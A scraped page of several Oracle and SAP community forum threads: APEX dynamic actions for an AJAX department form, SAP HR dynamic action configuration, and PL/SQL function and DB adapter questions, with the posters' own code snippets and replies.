    2. Another thought is that you can create a PL/SQL routine - that's called from a SQL function registered in Discoverer - where a table is created that does the first part of your query. Then a worksheet is created to use the data from that table. So, in essence, the table would have your top50 ranked customers. Then you can write any kind of worksheet against that table. However, DBAs are loath to allow tables - that they didn't create! - many times in a PROD environment.
    Here also the same problem will occur: as the top 50 will depend upon the parameters. I cannot pass those parameters to PL/SQL Function.And storing the top50 ( itmay be top100 or to 150 also) for all combinations of the parameters is impossible
    Russ Proudman wrote:
    3. Finally, are you sure you're rank function is correct in that if you're getting blank lines, maybe the 'over' part is not considering all columns needed to determine the rank?
    Yes the query we are using is correct. The output QUERY of discoverer gives correct results in Sqlplus.
    Regards,
    Jeneesh

  • About creating an AJAX page with DML procedures  using dynamic actions

    About creating an AJAX page with DML procedures in APEX using dynamic actions. Help with limitations.
    I want to share my experience, creating AJAX procedures in APEX 4.0.
    LIMITATIONS
    •     How Can I Hide UPDATE button while I press NEW button. ??
    •     How Can I Hide CREATE button while I’m UPDATING A RECORD. ??
    •     How can I avoid multiple Inserts or Updates. ??
    Here are the steps to create an AJAX Updatable Form using the sample table DEPTS. You can see the demo here: [http://apex.oracle.com/pls/apex/f?p=15488:1]
    1)     Create a blank page
    2)     Add a Report Region for departments (It shows the columns deptno, dname and loc).
    3)     Add an HTML Region and create the elements to edit a Department.
    a.     P1_DEPTNO (Hidden to store PK)
    b.     P1_DNAME (Text Field)
    c.     P1_LOC (Text Field)
    4)     You also have to create a hidden element called P1_ACTION. This will help to trigger dynamic actions to perform DMLs.
    5)     Open Page Attributes and in the HTML Header Section include the following code.
    <script>
         function doSelect(pId){
              $x_Value(‘P1_DEPTNO’,pId);
              $x_Value(‘P1_ACTION’,’SELECT’);
    </script>
    6)     Modify the column DEPTNO in the report, to add column link. In the link text you can use #DEPTNO# , in target you must select ‘URL ‘ and in the URL field write javascript:doSelect(#DEPTNO#);
    7)     Create the following Buttons in the Form Region.
    CANCEL     Redirects to URL: javascript:$x_Value(‘P150_ACTION’,’CANCEL’);
    NEW          Redirects to URL: javascript:$x_Value(‘P150_ACTION’,’NEW’);
    SAVE          Redirects to URL: javascript:$x_Value(‘P150_ACTION’,’UPDATE’);
    CREATE          Redirects to URL: javascript:$x_Value(‘P150_ACTION’,’CREATE’);
    8)     Create the following Dynamic Action to Select a Department
    Name:     Select Dept
    Event:     Change
    Selection Type:     Item(s)
    Item(s):     P1_ACTION
    Condition:     equal to
    Value:     SELECT
    Action:     Execute PL/SQL Code
    PL/SQL Code:     
    SELECT dname, loc
    INTO :P1_DNAME, :P1_LOC
    FROM dept
    WHERE deptno = :P1_DEPTNO;
    Page Items to Submit:     P1_DEPTNO, P1_DNAME, P1_LOC     
    Don’t include any false action and create the Dynamic Action.
    The first limitation, the value of page elements don’t do refresh so I added the following true actions to the dynamic action AFTER Execute PL/SQL Code.
    Action:     Set Value
    Unmark *‘Fire on page load’* and *‘Stop execution on error’*
    Set Type:     PL/SQL Expression
    PL/SQL Expression:     :P1_DNAME
    Page Items to submit:     (none) (leave it blank)
    Affected Elements: Item P1_DNAME
    Action:     Set Value
    Unmark *‘Fire on page load’* and *‘Stop execution on error’*
    Set Type:     PL/SQL Expression
    PL/SQL Expression:     :P1_LOC
    Page Items to submit:     (none) (leave it blank)
    Affected Elements: Item P1_LOC
    These actions allow refresh the items display value.
    9)     Create the following Dynamic Action to Update a Department
    Name:     Update Dept
    Event:     Change
    Selection Type:     Item(s)
    Item(s):     P1_ACTION
    Condition:     equal to
    Value:     CREATE
    Action:     Execute PL/SQL Code
    PL/SQL Code:     
    UPDATE dept SET
    dname = :P1_DNAME,
    loc = :P1_LOC
    WHERE deptno = :P1_DEPTNO;
    Page Items to Submit:     P1_DEPTNO, P1_DNAME, P1_LOC     
    Don’t include any false action and create the Dynamic Action.
    Include the following True Actions BEFORE the Execute PL/SQL Code true Action.
    Action:     Set Value
    Unmark ‘Fire on page load’ and ‘Stop execution on error’
    Set Type:     PL/SQL Expression
    PL/SQL Expression:     :P1_DNAME
    Page Items to submit:     P1_DNAME
    Affected Elements: Item P1_DNAME
    Action:     Set Value
    Unmark *‘Fire on page load’* and *‘Stop execution on error’*
    Set Type:     PL/SQL Expression
    PL/SQL Expression:     :P1_LOC
    Page Items to submit:     P1_LOC
    Affected Elements: Item P1_LOC
    These actions allow refresh the items display value.
    Finally to refresh the Departments report, add the following true action at the end
    Action:     Refresh
    Affected Elements: Region Departments
    10)     Create the following Dynamic Action to Create a Department
    Name:     Create Dept
    Event:     Change
    Selection Type:     Item(s)
    Item(s):     P1_ACTION
    Condition:     equal to
    Value:     CREATE
    Action:     Execute PL/SQL Code
    PL/SQL Code:     
    INSERT INTO dept(deptno,dname,loc)
    VALUES (:P1_DEPTNO,:P1_DNAME,:P1_LOC);
    Page Items to Submit:     P1_DEPTNO, P1_DNAME, P1_LOC     
    Don’t include any false action and create the Dynamic Action.
    Include the following True Actions BEFORE the Execute PL/SQL Code true Action.
    Action:     Set Value
    Unmark *‘Fire on page load’* and *‘Stop execution on error’*
    Set Type:     PL/SQL Function Body
    PL/SQL Function Body:     
    DECLARE
    v_pk NUMBER;
    BEGIN
    SELECT DEPT_SEQ.nextval INTO v_pk FROM DUAL;; -- or any other existing sequence
    RETURN v_pk;
    END;
    Page Items to submit:     P1_DEPTNO
    Affected Elements: Item P1_DEPTNO
    Action:     Set Value
    Unmark *‘Fire on page load’* and *‘Stop execution on error’*
    Set Type:     PL/SQL Expression
    PL/SQL Expression:     :P1_DNAME
    Page Items to submit:     P1_DNAME
    Affected Elements: Item P1_DNAME
    Action:     Set Value
    Unmark ‘Fire on page load’ and ‘Stop execution on error’
    Set Type:     PL/SQL Expression
    PL/SQL Expression:     :P1_LOC
    Page Items to submit:     P1_LOC
    Affected Elements: Item P1_LOC
    These actions allow refresh the items display value.
    Finally to refresh the Departments report, add the following true action at the end
    Action:     Refresh
    Affected Elements: Region Departments
    11)     Create the following Dynamic Action to delete a department
    Name:     Delete Dept
    Event:     Change
    Selection Type:     Item(s)
    Item(s):     P1_ACTION
    Condition:     equal to
    Value:     DELETE
    Action:     Execute PL/SQL Code
    PL/SQL Code:     
    DELETE dept
    WHERE deptno = :P1_DEPTNO;
    Page Items to Submit:     P1_DEPTNO
    Don’t include any false action and create the Dynamic Action.
    Include the following True Actions AFTER the Execute PL/SQL Code true Action.
    Action:     Refresh
    Affected Elements: Region Departments
    Action:     Clear
    Unmark ‘Fire on page load’
    Affected Elements: Items P1_DEPTNO, P1_DNAME, P1_LOC
    12)     Finally Create the following Dynamic Action for the NEW event
    Name:     New Dept
    Event:     Change
    Selection Type:     Item(s)
    Item(s):     P1_ACTION
    Condition:     equal to
    Value:     NEW
    Action:     Clear
    Unmark *‘Fire on page load’*
    Affected Elements: Items P1_DEPTNO, P1_DNAME, P1_LOC

    I need some help to solve this issues
    •     How Can I Hide UPDATE button while I press NEW button. ??
    •     How Can I Hide CREATE button while I’m UPDATING A RECORD. ??
    •     How can I avoid multiple Inserts or Updates. ??

  • How to add a link to html region to fire a dynamic action?

    Hi, guys:
    I need to add a hyper link to a html region (I wish it could be a button :( ) , the value of items in this region is loaded by a pl/sql process before loading header. And this link needs to fire a dynamic action to update database. I know how to add a hyper link to this region, but how to set this link so I can fire a dynamic action by clicking this link, could anyone give me a hint?
    Thanks a lot in advance.
    Sam
    Edited by: lxiscas on Apr 11, 2013 5:04 PM

    Hi, Jorge:
    Thanks for your reply. I cannot use updateRec, I have to use my own PL/SQL procedure. I tried to use similar way as people set dynamic action for modal page.
    I set column link for ncic_approve_link
    SELECT SOR_ALIAS.ALIAS_ID,
    SOR_ALIAS.OFFENDER_ID,
    SOR_ALIAS.FIRST_NAME|| ' '|| SOR_ALIAS.MIDDLE_NAME|| ' '|| SOR_ALIAS.LAST_NAME || ' ' ||  SOR_ALIAS.SIR_NAME   AS " Alias Name ",
    NVL(SOR_ALIAS.NICKNAME, 'No Nick names ') AS "Nick Name",
    (case when SOR_ALIAS.ncic_verify_date is null then 'NCIC' else null end) ncic_approve_link
    FROM SOR_ALIAS
    WHERE SOR_ALIAS.OFFENDER_ID    = :p216_detail
    AND SOR_ALIAS.ADMIN_VALIDATED IS NOT NULL
    AND upper(SOR_ALIAS.STATUS)    = upper('active')the link attributes is
    onclick="return false;" class="alias_ncic" title="NCIC Approve"then I pass two values to two hidden variables:
    P216_H_NCIC_APPROVE_TABLE_NAME--->'SOR_ALIAS'
    P216_H_NCIC_APPROVE_KEY_VALUE--->#ALIAS_ID#
    and I declare a dynamic action to execute PL/SQl code as :
    event: click
    selection type: JQuery seclector
    JQuery selector: a.alias_ncic
    declare
    begin
      sor_admin.update_NCIC_verify_date(:P216_H_NCIC_APPROVE_TABLE_NAME, :P216_H_NCIC_APPROVE_KEY_VALUE);
    end;However, the PL/SQL was called but raised exception that both the parameters are null. It looks when user click the column link, the value is not passed to hidden items. Could you help me on this?
    APEX 4.1
    Oracle 11G R2
    Thanks.
    Sam
    Edited by: lxiscas on Apr 29, 2013 10:00 AM
    Edited by: lxiscas on Apr 29, 2013 10:01 AM

  • Analyze: PL/SQL function body returning an SQL query

    I need to obtain the final SQL returned by the PL/SQL function.
    I will be using this final SQL in a procedure.
    Please provide some advise on how to obtain the SQL. I have already looked in the DBMS_SQL package but I am not sure if that is the right place to look into.
    Regards,
    Sumit

    I am trying to modify the export_to_excel package from Denes kubicek to provide me an excel from PL/SQL function body returning an SQL query.
    Here is the simplified PLSQL code in the region source.
    declare
    l2 varchar2(2000) null;
    begin
    l2:= 'Select NAME,ORIGINATED,OWNER,ORIGINATOR,';
    l2:= l2 || 'DESIGNATED_UNIT,SOURCE,';
    l2:= l2 || 'REFERENCE';
    l2:= l2 || ' from MV_DETAILED_DATA';
    return l2;
    end;
    I would like to get the SQL returned from this PLSQL and use it in a procedure to get the Excel.
    As you mentioned earlier "copy the generated query string into an application item". [ +In the PL/SQL function body returning an SQL query, copy the generated query string into an application item. The app item value can then be passed as a parameter value to the procedure+ ]
    I do not know how to dynamically excute this PLSQL in the region source and obtain the returned value in my procedure.
    Best Regard,
    Sumit.

  • Configuring DYNAMIC ACTIONS - 0002 TO 0105

    i want to know step by step detailed procedure of configuring dynamic actions in abap-hr.
    my requirement is that if any change is done in (first name or last name) in (personal data infotype 0002), or (any new entry is added) in infotype 0002 for fields (first name, last name), then........
    dynamic actions should be trigerred in (0105 communication infotype) for (e-mail subtype) creating (e-mail in communication 0105 infotype) based on first name and last name given in 0002 infotype.
    i mean want whenever personal details (first name/last name) of any candidate is entered in 0002 infotype, e-mail id should automatically be generated in 0105 infotype based on first and last name given in 0002,
    any e-mail id format can be used.
    i am new to abap-hr so please give me step by step, detailed procedure for this IN SIMPLE WORDS.
    thanx

    You are from programming or Functional ?
    The dynamic actions are configured by the Functional consultant .
    yes its T588Z  where the dyanmic actions are configured .
    Vijay.

  • HCM Process and Forms Dynamic Actions

    Hi
    We are implementing HCM process and forms and presume that dynamic actions will have to be recreated as rules.
    Can anyone give any guidance in this area as some of our dynamic actions are quite complex.
    Many thanks
    Ian

    Hi,
    For HR forms please follow the following link
    HCM Processes and Forms (www.service.sap.com/erp:  - SAP ERP Human Capital Management -> Workforce Process Management -> HCM Processes and Forms -> Media Library)
    https://websmp205.sap-ag.de/~form/sapnet?_SHORTKEY=00200797470000081848&
    A dynamic action has the following components.
    Infotype Number (INFTY): specifies the infotype for which you want the dynamic action triggered
    Subtype (SUBTY): narrows the focus to a specific subtype
    Field Name (FIELDN): starts your action when a maintenance function is performed on a particular field
    Function (FC): specifies the various maintenance operations to which your dynamic action would respond. They are 02 (change); 04 (create); 06 (create and change); 08 (delete); 10 (change and delete); 12 (create and delete). Dynamic actions are only applicable in maintenance operations, not in display functions.
    Sequence Number (NO): refers to a sequential number.
    Step (A): specifies a particular type of action. No dynamic action is executed if the function character has a value other than one of the following:
                 P: Plausibility checks, which allow you to check certain conditions.          
                 I: Calls an infotype for processing
                 W: Called after the I statement and used to assign values to screen fields while creating or copying another infotype record through the I statement 
                  F: Calls a FORM routine (subroutines in ABAP) during your action. The routine may reside in or out the module pool MPNNNN00.
                 V: Lets you treat collectively a number of fields for which you want to define a common dynamic action
                  M: Sends SAP Office mail
    Variable function part: The variable function part along with the step indicator forms the core part of your action. It specifies the processing details when the dynamic action is triggered. For example: 
    Requirement: When the postal code or the city of an employeeu2019s permanent residence is changed in infotype 0006, an email should be sent to the administrator.
    INFTY    SUBTY    FIELDN    FC          NO.    STEP       VARIABLE FUNCTION
    0006           1             ORT01      06             001           V               PSTLZ            
    0006           1             PSTLZ      06             002           M               M0001
    The V statement on line 001 is used to link the two fields to the M statement. The statements relevant to field PSTLZ are also applicable to the ORT01 field.
    When a record is created or changed in infotype 0006 of permanent address, an email is sent using the feature M0001. Information such as the recipient address, subject, and content of the mail is derived from M0001.
    Warm REgards,
    Kapil

  • How to perform an enter in a dynamic action?

    Hi friends,
    I would like to know How to perform an enter in a dynamic action?
    Thanks in advance.
    Albio.-

    Hi Vivas,
    A dynamic action has the following components.
    Infotype Number (INFTY): specifies the infotype for which you want the dynamic action triggered
    Subtype (SUBTY): narrows the focus to a specific subtype
    Field Name (FIELDN): starts your action when a maintenance function is performed on a particular field
    Function (FC): specifies the various maintenance operations to which your dynamic action would respond. They are 02 (change); 04 (create); 06 (create and change); 08 (delete); 10 (change and delete); 12 (create and delete). Dynamic actions are only applicable in maintenance operations, not in display functions.
    Sequence Number (NO): refers to a sequential number.
    Step (A): specifies a particular type of action. No dynamic action is executed if the function character has a value other than one of the following:
                 P: Plausibility checks, which allow you to check certain conditions.          
                 I: Calls an infotype for processing
                 W: Called after the I statement and used to assign values to screen fields while creating or copying another infotype record through the I statement 
                  F: Calls a FORM routine (subroutines in ABAP) during your action. The routine may reside in or out the module pool MPNNNN00.
                 V: Lets you treat collectively a number of fields for which you want to define a common dynamic action
                  M: Sends SAP Office mail
    Variable function part: The variable function part along with the step indicator forms the core part of your action. It specifies the processing details when the dynamic action is triggered. For example: 
    Requirement: When the postal code or the city of an employeeu2019s permanent residence is changed in infotype 0006, an email should be sent to the administrator.
    INFTY    SUBTY    FIELDN    FC          NO.    STEP       VARIABLE FUNCTION
    0006           1             ORT01      06             001           V               PSTLZ            
    0006           1             PSTLZ      06             002           M               M0001
    The V statement on line 001 is used to link the two fields to the M statement. The statements relevant to field PSTLZ are also applicable to the ORT01 field.
    When a record is created or changed in infotype 0006 of permanent address, an email is sent using the feature M0001. Information such as the recipient address, subject, and content of the mail is derived from M0001.
    The maintenance of dynamic actions is done via the view V_T588Z, as shown in Figure 1 (IMG menu path Personnel Management>Global Settings in Personnel Management>Basic Settings>Infotypes>Create Dynamic Actions).
    Warm Regards,
    Kapil Kaushal

  • Configure Dynamic Actions

    Hi All,
    How to configure Dynamic actions?..I know that you need to create dynamic actions in Spro-PA-Dynamic actions. .what are the steps to be done after that ?.
    Kindly provide with an example.
    Regards
    Eliz

    HI Eliz,
    A dynamic action has the following components.
    Infotype Number (INFTY): specifies the infotype for which you want the dynamic action triggered
    Subtype (SUBTY): narrows the focus to a specific subtype
    Field Name (FIELDN): starts your action when a maintenance function is performed on a particular field
    Function (FC): specifies the various maintenance operations to which your dynamic action would respond. They are 02 (change); 04 (create); 06 (create and change); 08 (delete); 10 (change and delete); 12 (create and delete). Dynamic actions are only applicable in maintenance operations, not in display functions.
    Sequence Number (NO): refers to a sequential number.
    Step (A): specifies a particular type of action. No dynamic action is executed if the function character has a value other than one of the following:
                 P: Plausibility checks, which allow you to check certain conditions.          
                 I: Calls an infotype for processing
                 W: Called after the I statement and used to assign values to screen fields while creating or copying another infotype record through the I statement 
                  F: Calls a FORM routine (subroutines in ABAP) during your action. The routine may reside in or out the module pool MPNNNN00.
                 V: Lets you treat collectively a number of fields for which you want to define a common dynamic action
                  M: Sends SAP Office mail
    Variable function part: The variable function part along with the step indicator forms the core part of your action. It specifies the processing details when the dynamic action is triggered. For example: 
    The maintenance of dynamic actions is done via the view V_T588Z, as shown in Figure 1 (IMG menu path Personnel Management>Global Settings in Personnel Management>Basic Settings>Infotypes>Create Dynamic Actions).
    Requirement: When the postal code or the city of an employeeu2019s permanent residence is changed in infotype 0006, an email should be sent to the administrator.
    INFTY    SUBTY    FIELDN    FC          NO.    STEP       VARIABLE FUNCTION
    0006           1             ORT01      06             001           V               PSTLZ            
    0006           1             PSTLZ      06             002           M               M0001
    The V statement on line 001 is used to link the two fields to the M statement. The statements relevant to field PSTLZ are also applicable to the ORT01 field.
    When a record is created or changed in infotype 0006 of permanent address, an email is sent using the feature M0001. Information such as the recipient address, subject, and content of the mail is derived from M0001
    Warm Regards,
    Kapil Kaushal

  • Unable to retreive the return value of pl/sql function using DB Adapter

    Dear Experts,
    I am using DB Adapter in my BPEL Process. Using DB Adapter I am invoking a PL / SQL function. I am able to send two input parameters for the pl/sql function. But I dont know how to retrieve the return value from the function. Please suggest me.
    Thanks,
    Rajesh

    Yes I am returning a value from PL/SQL function.
    Please see the code segments below,
    FUNCTION "TD_INSERT" (a TDINIT_TYPE, stops TDDETAIL_TABLE )
    RETURN VARCHAR2
    AS
    td_no Number;
    td_id Number;
    stop TDDETAILFULL_TYPE;
    length number;
    BEGIN
    insert into TD_INIT values( ----passing all the values here --------- );
    select max(tdno) into td_no from TD_INIT ;
    length := stops.count;
    for i in 1.. length loop
    stop := stops(i);
    insert into TD_DETAIL_FULL values(
    td_no, ------- );
    end loop;
    commit;
    RETURN td_no;
    END;
    Thanks,
    Rajesh

Maybe you are looking for